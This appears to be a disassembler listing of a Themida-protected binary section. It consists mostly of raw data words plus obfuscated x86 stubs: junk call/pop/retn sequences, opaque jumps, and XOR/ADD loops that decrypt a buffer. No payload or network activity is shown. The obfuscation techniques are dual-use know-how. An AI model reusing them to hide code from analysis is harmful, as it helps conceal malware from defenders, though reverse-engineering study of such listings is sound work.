		dd 0DD8A5948h, 69BD83h,	0F010AE3h, 45584h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
		dd 3E88B867h, 1DA19FAAh, 2860FE4h, 0B3000000h, 69BD8314h
		dd 30AE300h, 3E6860Fh, 6A600000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0FCD3C352h
		dd 5B49178Eh, 0BF663450h, 0B5893B43h, 0AE324F1h, 0D98C66F5h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0BC35040h
		dd 4E18057h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 17h,	1BC35545h, 666650DDh, 9947C381h, 21198D29h, 0C90A0AE3h
		dd 138840Fh, 8BF80000h,	0E31FD185h, 33DA8B0Ah, 0E31E4585h
		dd 0AE90Ah, 0AB1A0000h,	0F38F768Ah, 7861BBE5h, 18D18D31h
		dd 0E9900AE3h, 5, 9FD9BBBDh, 77B75086h,	0FE990h, 6CBC0000h
		dd 5CD0AAD9h, 381D4DD7h, 4BF913CCh, 0DE90Eh, 8390000h
		dd 35D94156h, 96E1CF45h, 6A8A71E7h, 1D8D8900h, 0E80AE314h
		dd 4, 1F03FFh, 0BE8h, 9396F500h, 65B10139h, 0C342690h
		dd 5BFE8B66h, 0B8BE6050h, 606D1D49h, 0F74E1DBEh, 0AE906h
		dd 0E4C30000h, 4292A877h, 9134D1B3h, 448B6161h,	8A500424h
		dd 8B5BFEh, 0DE857h, 0DB500000h, 0A8461B3Eh, 0A698615Bh
		dd 0BFC4BBF2h, 32F30D81h, 44895B5Fh, 7E80424h, 0E8000000h
		dd 0CCB0665Fh, 13E96A0Bh, 0DA000000h, 0A2E8DF6Ch, 77CA353Ch
		dd 34841F3Eh, 0DB87A39Ah, 585BC2D7h, 95FF01B3h,	0AE31A45h
		dd 0D62A8589h, 6A0AE6h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 0E925CC3h, 497B541Fh, 799D0347h
		dd 0E90AE302h, 1BAh, 8D8B6060h,	0AE30359h, 1F45B501h, 8B610AE3h
		dd 858B61D0h, 0AE6D622h, 5799D89h, 81660AE3h, 0C7C329EFh
		dd 1800h, 0CFB36000h, 26B58B61h, 6A0AE6D6h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0D23BC355h
		dd 417A36Ah, 8BDBB70Fh,	0E325D185h, 55006A0Ah, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 554CCCE3h
		dd 89E22797h, 8B6CB706h, 0E31FD185h, 52006A0Ah,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 6E654F07h
		dd 0F98B1853h, 0E9044689h, 6, 0A070BB4Eh, 5296F810h, 9E860h
		dd 0E4640000h, 0D2C4C406h, 58CF1BCDh, 10E9h, 305B6900h
		dd 5F254979h, 68F1539Dh, 0BC7C42E5h, 505F613Eh,	96D98B66h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 4C35545h
		dd 0E62566BAh, 22B5FF0Ch, 810AE6D6h, 9DE71DEFh,	4E832h
		dd 3FF0000h, 0BF66001Fh, 8A50E119h, 24448BF8h, 6E96004h
		dd 8E000000h, 7E618912h, 8B6139h, 0C8C0Fh, 8C0F0000h, 6
		dd 810Fh, 44890000h, 860F0424h,	17h, 12E9h, 1C17AB00h
		dd 0C31FD384h, 500F906h, 8F4E7DC4h, 582583BBh, 0DF6CBABBh
		dd 2A858D6Eh, 0BF0AE6D6h, 229E50C2h, 0F525090h,	50585A31h
		dd 90DF8B66h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 18h,	0CFC35040h, 0D9C421B6h,	5999D381h, 95FF60D5h, 0AE31A45h
		dd 23ADBD2Bh, 0E9610AE3h, 0Dh, 7161527Eh, 0B71424FCh, 4F72BB40h
		dd 6985C7A6h, 30AE300h,	6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 562EC353h
		dd 2ABD831Fh, 0AE6D6h, 3A840Fh,	50E90000h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 0B698C350h, 19229C34h, 840F060Dh, 6,	2D759D8Bh, 9D030AE3h
		dd 0AE304F9h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch
		dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
		dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
		dd 44300311h, 28580211h, 30011164h, 0E9831104h,	0EBE77504h
		dd 0BFC08B00h, 10F3810Dh, 89CBE380h, 0E31469B5h, 69BD830Ah
		dd 30AE300h, 42F850Fh, 2CB30000h, 0D62ABD83h, 0F000AE6h
		dd 42084h, 2AB5FF00h, 0F0AE6D6h, 38Dh, 0FE8B6600h, 258C0Fh
		dd 7E80000h, 0DC000000h, 0F75D434Bh, 12E82178h,	7D000000h
		dd 0C2EE143Dh, 38E39645h, 0E1405D22h, 11126661h, 0FF5B5F92h
		dd 0E3331595h, 50006A0Ah, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 8B581D2Dh, 0E6D61EB5h
		dd 57006A0Ah, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 106CA522h, 0E19589D4h, 0C70AE306h, 1000106h
		dd 0BF96F900h, 0DA2FFEBh, 96DE8B50h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 7BC35646h, 4ACAF671h, 0BD49E1D8h
		dd 14E9h, 3E68A400h, 6DFD6B8Ah,	0B275B587h, 0AB8A7EC0h
		dd 493D509Ah, 2AB5FFC1h, 0E90AE6D6h, 5,	664F3200h, 7DB589E0h
		dd 0FF0AE307h, 0E320BD95h, 28E0F0Ah, 0B3000000h, 1EB58B01h
		dd 0E90AE6D6h, 10h, 0FDA791DFh,	0CF8BA071h, 798B857h, 0B5CB7F48h
		dd 1059858Bh, 8E90AE3h,	65000000h, 0AABFB25Ah, 89B3B206h
		dd 0C486h, 6840F00h, 89000000h,	0E3119DB5h, 79958B0Ah
		dd 6A0AE314h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 68D0C355h, 12820FDAh, 0E9000000h
		dd 0Dh,	18FE8083h, 20C2EB6Bh, 0DB1B960h, 4C2832Eh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0AC35242h, 4267785Dh
		dd 0FE8B6676h, 0F205089h, 168Fh, 0AE800h, 0AE120000h, 0C48D54D9h
		dd 0E3B4AAC5h, 2FBDBD8Bh, 8D5F0AE3h, 0E6E8B385h, 8810F0Ah
		dd 53000000h, 299DBD8Bh, 895B0AE3h, 0B886h, 0D559BB00h
		dd 6A7DE2h, 0E856006Ah,	3, 5EC35E20h, 4247489h,	4244481h
		dd 15h,	0F2C35646h, 8B6652BAh, 0B5FF5BDFh, 0AE6D62Ah, 2965B589h
		dd 95FF0AE3h, 0AE31E71h, 8FB5BB66h, 66525096h, 0FE61CBBh
		dd 14E931h, 0BA70000h, 80EA18C7h, 4BADD61Fh, 0A89146B2h
		dd 524B0DFCh, 585A176Ch, 15830F50h, 0E9000000h,	10h, 0ACF5F4FBh
		dd 0D5DB7DEBh, 0D427E95Dh, 9A2FCA9Dh, 53006A96h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
		dd 0DE6E3643h, 2AB5FF72h, 6A0AE6D6h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0D2F5C350h
		dd 22CA5ED4h, 6995FF87h, 6A0AE323h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0CA92C355h
		dd 8152DE4Eh, 0CE826h, 0F83C0000h, 0F3B73D9Eh, 5D6186ADh
		dd 13E9D99Dh, 19000000h, 629DBC31h, 0B230CEB7h,	62A14A4Dh
		dd 0FAB37DD3h, 895F09B3h, 0E3335195h, 0ADBD830Ah, 0AE317h
		dd 3B840Fh, 60500000h, 2830Fh, 0C78B0000h, 0FE85250h, 9D000000h
		dd 0DBA38E90h, 3250583h, 0D975C2BEh, 0F5E0BC1h,	72BF6631h
		dd 61585A7Eh, 81243489h, 501ECED7h, 9D8B573Eh, 0AE3192Dh
		dd 2AB5FF5Fh, 8B0AE6D6h, 0E31ED99Dh, 9595FF0Ah,	290AE302h
		dd 0E30525B5h, 2AB5FF0Ah, 6A0AE6D6h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 73D4C350h
		dd 0BD8925CAh, 0AE31EB9h, 11DD95FFh, 0BD8B0AE3h, 0AE3071Dh
		dd 197DBD83h, 0F020AE3h, 7A84h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 8B2B9308h
		dd 0E32579BDh, 8BF88B0Ah, 0E31A6585h, 52006A0Ah, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
		dd 0F2A20EFFh, 89F4757Fh, 0E3291585h, 0D8D010Ah, 0C60AE315h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 0C7F902C3h, 0E3211D85h, 0Ah, 0F33FE900h
		dd 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 0F9B47C3h, 0FF18D31h, 0C18B0AE3h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0A6C35242h, 0FD858DD9h
		dd 6A0AE32Fh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 0B2D6C355h, 0AA9DF4E3h, 13E9FCh
		dd 92B60000h, 0BEFC63F0h, 0AC023205h, 7138684Eh, 0F34C4295h
		dd 0AE85010h, 0C6000000h, 30697E11h, 0F183A7C7h, 0BE838h
		dd 6BF20000h, 0E3EE57C5h, 0A24A5490h, 0DE9D6h, 8EEF0000h
		dd 63558000h, 0E999D493h, 5F2BB05Bh, 2404895Bh,	0AFC9BB66h
		dd 6A006Ah, 8DFA8B66h, 0E7993685h, 57006A0Ah, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 0FF7784Dh
		dd 1484h, 0FE900h, 1D930000h, 0ABFD2AEh, 95F9B503h, 1A752DBAh
		dd 5C0834Bh, 21D19D8Bh,	81660AE3h, 90AF53DBh, 3840F60h
		dd 66000000h, 14E9DE8Bh, 21000000h, 0EB95E0C3h,	99820BC4h
		dd 624469Fh, 847A7304h,	61750A21h, 90DC8A50h, 3309BD89h
		dd 0B70F0AE3h, 80006AFBh, 6A39EFh, 5C59D8Bh, 6E90AE3h
		dd 72000000h, 6E588A4Dh, 0E995FFC8h, 8A0AE314h,	0CA8D8DFEh
		dd 10AE6D5h, 0E32E31BDh, 0FD1FF0Ah, 581h, 0B913BF00h, 0B52973D6h
		dd 0AE3193Dh, 2269BD83h, 0F010AE3h, 8385h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
		dd 0DB81AA4Ch, 4AE11D3Eh, 6ADFBF0Fh, 50006A02h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 0E999314Ch
		dd 9, 0A7C958CBh, 87A51FA5h, 8B6050BDh,	61C88BDEh, 6A240489h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 0FFF0C355h, 0E31E7195h, 0DE8B660Ah, 0DE4E9h
		dd 0E800h, 815D0000h, 0E79940EDh, 219D330Ah, 0E90AE335h
		dd 0Dh,	0BF7EEF08h, 0D3A1BD06h,	0BAF552AAh, 51006A8Dh
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 30470177h, 0FCEE6635h, 0C13E858Dh, 6A0AE6h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 193340C3h, 65D84E5Ch, 5850FC1h, 66000000h, 220EDB81h
		dd 0AD61BB90h, 8B5048C8h, 6A90D9h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 0BF0FAFC3h, 35FF64FEh
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5CBEE3
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CBEE3	proc near		; CODE XREF: Themida_:005CBEDBp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5CBEE3	endp

; ---------------------------------------------------------------------------
		dec	esi
		rcr	byte ptr [edi+42F86019h], cl
		adc	[edx+50h], esp
		add	bx, 3CDDh
		pop	edi
		mov	large fs:0, esp
		push	0
		push	edx
		call	sub_5CBF15
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CBF15	proc near		; CODE XREF: Themida_:005CBF0Dp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h ; CODE XREF:	Themida_:005CBF93j
		inc	edx
		push	edx
		retn
sub_5CBF15	endp

; ---------------------------------------------------------------------------
		add	al, 0FFh
		test	ds:810AE31Ch, edx
		retf
; ---------------------------------------------------------------------------
		retf	0FB4Fh
; ---------------------------------------------------------------------------
		adc	[edx-1], ebp	; CODE XREF: Themida_:loc_5CCC01j
		push	0
		push	ebx
		call	sub_5CBF3F
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CBF3F	proc near		; CODE XREF: Themida_:005CBF37p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5CBF3F	endp

; ---------------------------------------------------------------------------
		mov	bh, 0EBh
		mov	bx, si
		push	dword ptr [ebp+0AE308C1h]
		push	0
		push	ebx
		call	sub_5CBF65
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CBF65	proc near		; CODE XREF: Themida_:005CBF5Dp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5CBF65	endp

; ---------------------------------------------------------------------------
		db 9Ah,	5Ah, 71h
; ---------------------------------------------------------------------------
		xchg	ecx, [ecx-39BFB4h]
		xchg	eax, ebp
		jge	short $+2
		jecxz	short loc_5CBF8D
		jmp	loc_5CC0A2
; ---------------------------------------------------------------------------
		dd 0B04BB3h
		db 89h
; ---------------------------------------------------------------------------


loc_5CBF8D:				; CODE XREF: Themida_:005CBF81j
		xchg	eax, ebp
		pop	ecx
		add	bl, ah
		or	ah, dh
		jo	short near ptr loc_5CBF1A+4
		xchg	eax, ebp
		xor	[ebx], ebp
		or	ah, ah
		jno	short near ptr loc_5CBFF1+2
		jmp	loc_5CBFAB
; ---------------------------------------------------------------------------
		dw 0B4FFh
		dd 26287DE6h
		db 0DCh, 9Fh, 0A3h
; ---------------------------------------------------------------------------


loc_5CBFAB:				; CODE XREF: Themida_:005CBF9Dj
		pop	ebx
		cmp	al, 61h
		jnb	loc_5CC0A2
		jmp	loc_5CBFC8
; ---------------------------------------------------------------------------
		db 0E3h, 1Ch, 50h
		dd 43EAAD8Fh, 0F4302032h, 0B2F61E8h
; ---------------------------------------------------------------------------


loc_5CBFC8:				; CODE XREF: Themida_:005CBFB4j
		movzx	ecx, al
		sub	edi, [ebp+0AE317B1h]
		mov	edx, 6
		mov	edi, [ebp+0AE31FA1h]
		mov	eax, ecx
		pusha
		mov	al, dh
		mov	dx, ax
		popa
		shr	eax, 4
		mov	[ebp+0AE31659h], ecx
		mul	dx


loc_5CBFF1:				; CODE XREF: Themida_:005CBF9Bj
		or	[ebp+0AE30FD5h], edx
		sub	ecx, eax
		mov	[ebp+0AE30679h], esi
		mov	edx, ecx
		pusha
		mov	[ebp+0AE31855h], edi
		mov	di, ax
		popa
		jmp	loc_5CC0A2
; ---------------------------------------------------------------------------
		movzx	edi, bx
		jnz	loc_5CC020
		xor	[ebp+0AE30021h], eax


loc_5CC020:				; CODE XREF: Themida_:005CC014j
		mov	eax, [ebp+0AE30701h]
		movsx	ebx, di
		add	eax, 7
		jmp	loc_5CC03E
; ---------------------------------------------------------------------------
		db 0C1h, 0B4h, 50h
		dd 0C6CDDF37h, 10073029h
; ---------------------------------------------------------------------------
		cmp	eax, edx


loc_5CC03E:				; CODE XREF: Themida_:005CC02Cj
		add	eax, 0
		cmp	edx, eax
		jnb	loc_5CC065
		mov	edi, [ebp+0AE30211h]
		jmp	loc_5CC0A2
; ---------------------------------------------------------------------------
		pusha
		jmp	loc_5CC064
; ---------------------------------------------------------------------------
		dw 5451h
		dd 0D47DBAC5h, 1A0F5E53h
; ---------------------------------------------------------------------------


loc_5CC064:				; CODE XREF: Themida_:005CC055j
		popa


loc_5CC065:				; CODE XREF: Themida_:005CC043j
		mov	ecx, [ebp+0AE32649h]
		and	ebx, [ebp+0AE322F5h]
		and	ecx, 1
		jz	loc_5CC0A2
		push	ecx
		sbb	edi, 6C977E7Bh
		pop	edi
		and	dword ptr [ebp+0AE32649h], 0FFFFFFFEh
		mov	bl, 0A1h
		mov	[ebp+0AE30701h], edx
		jle	loc_5CC09D
		mov	ebx, [ebp+0AE307DDh]


loc_5CC09D:				; CODE XREF: Themida_:005CC091j
		jmp	$+5


loc_5CC0A2:				; CODE XREF: Themida_:005CBF83j
					; Themida_:005CBFAEj ...
		lea	esi, [ebp+0AE7139Fh]
		push	0
		push	ecx
		call	sub_5CC0B3
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CC0B3	proc near		; CODE XREF: Themida_:005CC0ABp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_5CC0B3	endp

; ---------------------------------------------------------------------------
		inc	ebp
		mov	ebp, 9D33D4BEh
		xor	[esi], edx
		jecxz	short near ptr loc_5CC0D2+5
		mov	edi, ecx
		push	0
		stc


loc_5CC0D2:				; CODE XREF: Themida_:005CC0CBj
		call	dword ptr [ebp+0AE31CD1h]
		mov	ebx, esi
		mov	ecx, 844h
		push	0
		push	edx
		call	sub_5CC0EA
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CC0EA	proc near		; CODE XREF: Themida_:005CC0E2p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5CC0EA	endp

; ---------------------------------------------------------------------------
		adc	eax, 2B5646B8h
		mov	ebp, 0AE32595h
		pop	ebx
		and	ecx, 0FFFFFFFCh
		jno	loc_5CC114
		add	edi, [ebp+0AE331A5h]


loc_5CC114:				; CODE XREF: Themida_:005CC108j
		cld
		push	0
		push	edx
		call	sub_5CC120
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CC120	proc near		; CODE XREF: Themida_:005CC118p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_5CC120	endp

; ---------------------------------------------------------------------------
		dd 7F8777D9h, 48B0Fh, 0BF660000h, 13E9FFDBh, 0D3000000h
		dd 0EF497369h, 0B06A41E9h, 1A435200h, 1C31F989h, 0C02B825Eh
		dd 4F4BBF66h, 0BAh, 33ADFC00h, 3E8D1C2h, 4E983D0h, 0BD09F475h
		dd 0AE33199h, 833BBB66h, 880Dh,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 0B529E0D1h
		dd 0AE31789h, 1479958Bh, 0F8F80AE3h, 6C98D8Bh, 0EF810AE3h
		dd 7C435DA2h, 8BC28B50h, 8BC10318h, 0D1C18B18h,	8BC203E8h
		dd 7E95818h, 0D1000000h, 9BD655C5h, 5F5078ECh, 1FBDBD09h
		dd 0BD830AE3h, 0AE31F61h, 9A840F00h, 6A000000h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 3FDEC350h, 863A02E8h, 13E9B7F0h, 65000000h, 620F16E7h
		dd 276FFEC1h, 0C5C541CAh, 0A63C8501h, 0CE93CEEh, 0C4000000h
		dd 971EF0B7h, 33DE1126h, 0B8B8A9DFh, 0
; ---------------------------------------------------------------------------
		jmp	loc_5CC24F
; ---------------------------------------------------------------------------
		db 0Fh,	3, 68h
		dd 0D32DC097h, 8F775196h, 7B252DEAh
		db 18h,	3Eh, 3Ah
; ---------------------------------------------------------------------------


loc_5CC24F:				; CODE XREF: Themida_:005CC238j
		lea	ecx, [ebp+0AE34E6Eh]
		push	0
		push	esi
		call	sub_5CC260
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CC260	proc near		; CODE XREF: Themida_:005CC258p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_5CC260	endp

; ---------------------------------------------------------------------------
		mov	edi, 7D6CA03Ch
		db	66h, 26h
		mov	dl, 13h
		mov	ebx, esi
		jmp	ecx
; ---------------------------------------------------------------------------
		mov	di, 0B45Ch
		cmp	dword ptr [ebp+0AE30069h], 0
		jz	loc_5CC76B
		push	0
		push	edx
		call	sub_5CC299
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CC299	proc near		; CODE XREF: Themida_:005CC291p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_5CC299	endp

; ---------------------------------------------------------------------------
		cmp	al, 86h
		adc	dh, [ecx-31h]
		pop	ebp
		sub	edx, [ecx]
		add	edi, [ebp+0AE316A5h]
		cmp	dword ptr [ebp+0AE30069h], 1
		jz	loc_5CC786
		push	0
		push	ecx
		call	sub_5CC2CF
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CC2CF	proc near		; CODE XREF: Themida_:005CC2C7p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_5CC2CF	endp

; ---------------------------------------------------------------------------
		and	cl, [edx]
		or	cl, dh
		mov	ebx, ecx
		cmp	dword ptr [ebp+0AE30069h], 3
		jbe	loc_5CC750
		push	0
		push	ecx
		call	sub_5CC2FD
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CC2FD	proc near		; CODE XREF: Themida_:005CC2F5p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_5CC2FD	endp

; ---------------------------------------------------------------------------
		scasd
		pop	esp
		test	[ebx-782EDB19h], dl
		sub	[edi], esp
		mov	[ebp+0AE333D5h], esi
		pusha
		cmc
		mov	cx, ds
		push	0
		push	ecx
		call	sub_5CC32D
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CC32D	proc near		; CODE XREF: Themida_:005CC325p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_5CC32D	endp

; ---------------------------------------------------------------------------
		db 0Dh,	0E6h, 0E4h
		dd 5A627E68h, 0D7805769h, 98BB5F0Bh, 80273ED4h,	6E804E1h
		dd 11000000h, 8C641CF7h, 0F5BF66F4h, 0C90A5B41h, 162840Fh
		dd 80600000h, 0B529A7DAh, 0AE317B1h, 0D1858B61h, 6A0AE31Fh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 6C5AC351h, 6850Fh, 0BD8B0000h, 0AE332CDh
		dd 1E458533h, 6A0AE3h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 77B9BEC3h, 0EAA558E7h, 0BF90098Bh
		dd 20AB371Dh, 4860F50h,	51000000h, 905F5B52h, 0CE8h, 0AA9EAF00h
		dd 79D9FD7Fh, 0B3F3730h, 0AEBF663Fh, 6A5FD2h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 70C35242h, 0A2F768BCh
		dd 0F577680h, 1988h, 14E900h, 720E0000h, 6C79EDA4h, 3B9B2384h
		dd 9EA435DEh, 662C3B31h, 815F2537h, 0A1082434h,	8166769Fh
		dd 0FF66CFEFh, 0E31A4595h, 51006A0Ah, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0BA4119EEh
		dd 3CAE9F31h, 0BD8BDE01h, 0AE31A75h, 5870F56h, 0BB000000h
		dd 4C3E98C8h, 2A85895Bh, 6A0AE6D6h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 4B44C353h
		dd 1FBE9h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 0F8038B94h, 0D622858Bh, 6A0AE6h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 0F7089C3h, 0D8Bh, 9FB96000h,	11FF33Eh, 0E309198Dh, 0C7610Ah
		dd 18h,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch
		dd 0B9C35545h, 0E33AE10Bh, 0B3363EFCh, 1915BD8Bh, 9D8B0AE3h
		dd 0AE316D1h, 0D626B58Bh, 6A0AE6h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 0D988EC3h, 6E0A808Fh
		dd 800F606Ah, 2, 0BD336160h, 0AE306E1h,	0D1858B61h, 6A0AE325h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 3230C357h, 7513681Fh, 893E9D20h, 0E31D1D9Dh
		dd 8B06890Ah, 0E31FD185h, 52006A0Ah, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 2B09980Ah
		dd 0E323999Dh, 0AD8D290Ah, 2B0AE31Bh, 0E304F19Dh, 446890Ah
		dd 13E9h, 0BD225800h, 1AAA4B25h, 23DA2F8Ah, 575DE391h
		dd 58B09276h, 66525050h, 310FF88Bh, 97CF99BBh, 89585A53h
		dd 6A2434h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 41E9EFC3h, 8D9D8B6Ah, 0F0AE31Ah, 685h, 119D8B00h
		dd 0FF0AE332h, 0E6D622B5h, 4443680Ah, 481DBCEh,	50BFBC24h
		dd 818D8924h, 8D0AE331h, 0E6D62A85h, 0FE8A900Ah, 6A9050h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 0F95EB5C3h, 95FF0CE8h, 0AE31A45h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 0CFC35747h,	68D0Fh,	0DF810000h
		dd 4B567EAAh, 50006A61h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h, 0C3504000h, 891F0C87h, 0E3161185h, 3185890Ah
		dd 0C70AE31Ch, 0E3006985h, 30Ah, 0EE900h, 0BC760000h, 0FB0D2C78h
		dd 41CB3B16h, 6E5D3874h, 311ECF81h, 0BD833393h,	0AE6D62Ah
		dd 4D840F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 0E3A7C350h,	8166B51Bh
		dd 0E9D07DE7h, 3Fh, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 11C35545h, 2800Fh, 0DF8B0000h
; ---------------------------------------------------------------------------


loc_5CC750:				; CODE XREF: Themida_:005CC2ECj
					; Themida_:005CC767j
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_5CC750
		jmp	short loc_5CC7A1
; ---------------------------------------------------------------------------


loc_5CC76B:				; CODE XREF: Themida_:005CC288j
					; Themida_:005CC782j
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5CC76B
		jmp	short loc_5CC7A1
; ---------------------------------------------------------------------------


loc_5CC786:				; CODE XREF: Themida_:005CC2BEj
					; Themida_:005CC79Dj
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5CC786
		jmp	short $+2


loc_5CC7A1:				; CODE XREF: Themida_:005CC769j
					; Themida_:005CC784j
		mov	eax, eax
		mov	ebx, [ebp+0AE31F35h]
		add	edi, [ebp+0AE31E7Dh]
